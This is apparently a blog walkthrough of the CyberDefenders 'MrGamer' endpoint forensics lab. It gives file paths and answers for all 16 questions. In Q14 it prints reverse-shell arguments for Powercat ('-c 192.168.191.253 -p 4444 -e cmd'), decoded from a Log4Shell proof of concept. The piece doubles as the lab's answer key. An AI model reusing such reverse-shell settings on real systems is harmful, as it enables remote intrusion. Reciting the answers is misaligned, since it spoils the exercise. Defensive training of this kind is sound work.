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MrGamer Lab — CyberDefenders

Objective: Develop investigative skills by reconstructing user behavior, tracing digital footprints, and answering contextual questions…

M Haq · 2026-02-27 12:12 · 0 claps · 3.7 min read
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MrGamer Lab — CyberDefenders

[embed]MrGamer | Blue team challenge. MrGamer is a blue team lab that falls under the Endpoint Forensics category and will cover the following subjects…cyberdefenders.org

Objective: Develop investigative skills by reconstructing user behavior, tracing digital footprints, and answering contextual questions based on evidence from a compromised system.

Category: Endpoint Forensics Tactics: Execution, Command and Control Tools: Tools: CyberChef, DCode, DB Browser for SQLite, Unfurl, Arsenal Image Mounter, Autopsy

Scenario: This Linux image belongs to a user who enjoys gaming and chatting with friends. Suspicious activity was observed in the system’s artifacts. As a SOC analyst, analyze the image to uncover potential anomalies and reconstruct the user’s actions.

Download and Unzip the Lab Files

Download and Unzip the Lab Files

Q1: What is the name of the utility or library for which the user was exploring exploits?

FTKImager → github

FTKImager → github

Github → PSA Log4Shell article

Github → PSA Log4Shell article

PSA: Log4Shell and the current state of JNDI injection

OR:

ANS: log4j

Q2: What is the version ID number of the operating system on the machine?

/etc/lsb-release

/etc/lsb-release

ANS: 21.10

Q3: What is the hostname of the computer?

/etc/hostname

/etc/hostname

Q4: What is one anime that the user likes?

/home/rafael/.thunderbird/vrvcx2qf.default-release → Export

/home/rafael/.thunderbird/vrvcx2qf.default-release → Export

→ DB Browser for SQLite → Open exported file → Open global-messages-db.sqlite

→ DB Browser for SQLite → Open exported file → Open global-messages-db.sqlite

→ ConersationText_content → Browse Table

→ ConersationText_content → Browse Table

ANS: Attack on Titan

Q5: What is the UUID for the attacker’s Minecraft account?

/home/rafael/.minecraft/usercache.json

/home/rafael/.minecraft/usercache.json

ANS: 8b0dec19-b463–477e-9548-eef20c861492

Q6: What VPN client did the user install and use on the machine?

/home/rafael/.bash_history

/home/rafael/.bash_history

ANS: zerotier

Q7: What was the user’s first password for the guest Wi-Fi?

vrvcx2qf.default-release → messagesText_content → Browse Table

vrvcx2qf.default-release → messagesText_content → Browse Table

ANS: 093483

Q8: The user watched a video that premiered on Dec 11th, 2021. How many views did it have when they watched it on February 9th?

/home/rafael/Pictures

/home/rafael/Pictures

ANS: 265342

Q9: What is the new channel name for the YouTuber whose cookbook is shown on the device?

/home/Rafael/.cache/thumbnails/Large

/home/Rafael/.cache/thumbnails/Large

ANS: Babish Culinary Universe

Q10: What is the module with the highest installed version for the chat application with the mascot Wumpus?

/home/rafael/.config/discord/0.0.16/modules/installed.json

/home/rafael/.config/discord/0.0.16/modules/installed.json

ANS: discord_voice

Q11: According to Windows, what was the temperature in Fahrenheit on February 11th, 2022, at 6:30 PM?

/home/rafael/marshalsec/poc/

/home/rafael/marshalsec/poc/

ANS: 45

Q12: What is the upload date of the second YouTube video on the channel from which the user downloaded a YouTube video?

/home/Rafael/Downloads

/home/Rafael/Downloads

ANS: 2009-10-25

Q13: What is the SHA-1 hash of Minecraft’s “latest” release according to the system?

/home/rafael/.minecraft/versions/

/home/rafael/.minecraft/versions/

ANS:3c6e119c0ff307accf31b596f9cd47ffa2ec6305

Q14: What were the three flags and their values that were passed to Powercat?

/home/rafael/marshalsec/poc/Log4jRCE.java → Copy script containing Base64

/home/rafael/marshalsec/poc/Log4jRCE.java → Copy script containing Base64

→ CyberChef → From Base64 → Decode text (UTF-16LE (1200))

→ CyberChef → From Base64 → Decode text (UTF-16LE (1200))

ANS: -c 192.168.191.253 -p 4444 -e cmd

Q15: How many dimensions (including the overworld) did the player travel to in the “oldest of the worlds”?

Overworld is the first dimension

Overworld is the first dimension

No info regarding Nether & End in the saves

No info regarding Nether & End in the saves

ANS: 1

Q16: What is the mojangClientToken stored in the Keystore?

Could not solve this question by myself

Answer is: 2f76c8b04c004ddd888a05a6cad6be52

That concludes the lab!! Congratulations!


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